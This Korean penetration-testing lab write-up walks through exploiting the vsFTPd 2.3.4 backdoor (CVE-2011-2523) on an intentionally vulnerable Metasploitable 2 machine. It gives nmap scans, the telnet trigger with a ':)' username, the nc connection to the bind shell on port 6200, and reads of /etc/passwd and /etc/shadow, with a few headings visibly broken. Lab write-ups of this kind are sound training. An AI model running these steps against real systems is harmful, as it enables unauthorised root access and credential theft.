
프로젝트: vsFTPd 2.3.4 백도어 익스플로잇 (CVE-2011-2523) (Metasploitable 2에서)
이 프로젝트는 의도적으로 취약하게 구성된 머신 Metasploitable 2를 대상으로 하는 침투 테스트 워크플로우를 시연합니다. 목표는 FTP 서비스의 알려진 취약점을 식별, 익스플로잇, 분석하여 궁극적으로 루트 수준 접근을 획득하고 보안 영향을 평가하는 것이었습니다.
192.168.56.0/24)대상 시스템 및 네트워크 구성을 확인했습니다:
whoami
hostname
ifconfig

공격자와 대상 간 네트워크 연결을 확인했습니다:
ping 192.168.56.101

vsFTPd 2.3.4)호스트 발견을 수행했습니다:
nmap -sn 192.168.56.0/24
네트워크에서 활성 호스트를 식별했습니다.

nmap 192.168.56.101
다음을 포함한 여러 열린 포트를 발견했습니다:

nmap -sV 192.168.56.101
실행 중인 FTP 서비스를 식별했습니다:
vsFTPd 2.3.4
전체 서비스 및 스크립트 기반 스캔 결과는 지원 파일인 Nmap 스캔 출력에 포함되어 있습니다.

FTP 서비스가 알려진 취약 버전을 실행 중이었습니다:
vsFTPd 2.3.4
이 버전의 vsFTPd는 인증 중 :)를 포함한 사용자 이름이 사용되면 트리거되는 악성 백도어와 함께 배포되었습니다.
활성화되면 서비스는 포트 6200에 바인드 셸을 열어 허가되지 않은 원격 접근을 허용합니다.
Telnet을 사용하여 백도어를 트리거했습니다:
telnet 192.168.56.101 21
USER test:)
PASS test

Netcat을 사용하여 백도어에 연결했습니다:
nc 192.168.56.101 6200

whoami
root
루트 접근 권한을 성공적으로 획득했습니다

루트 접근 권한 획득 후 기본 시스템 열거를 수행했습니다:
cat /etc/passwd
cat /etc/shadow
/etc/shadow에서 해시된 자격 증명 검색

이 실습은 단일 취약 서비스가 어떻게 전체 시스템 침해로 이어질 수 있는지 보여줍니다. 이는 적절한 서비스 구성, 패치 관리, 노출된 공격 표면 최소화의 중요성을 강조합니다.
이번이 실제 백도어를 수동으로 익스플로잇한 첫 경험이었습니다. 단일 악성 사용자 이름 문자열(:))이 어떻게 루트 수준 접근을 트리거할 수 있는지 배웠으며, 이는 정찰 단계에서 서비스 열거와 버전 탐지가 왜 중요한지 더욱 깊이 깨닫게 해주었습니다. 또한 /etc/shadow를 읽고 해시된 자격 증명이 실제로 어떻게 생겼는지 이해하는 등 기본적인 Linux 사후 익스플로잇 명령어에 더 익숙해졌습니다.
이는 의도적으로 취약하게 구성된 머신인 Metasploitable 2를 사용한 통제된 실습 환경이었습니다. vsFTPd 2.3.4 백도어는 2011년의 알려진 CVE(CVE-2011-2523)이므로 현대의 실제 환경을 반영하지 않습니다. 실제 평가에서는 회피, 로깅 우회, 피보팅과 같은 추가 단계가 필요할 것입니다. 이 프로젝트는 완전한 침투 테스트가 아닌 핵심 익스플로잇 메커니즘 이해에 초점을 맞추었습니다.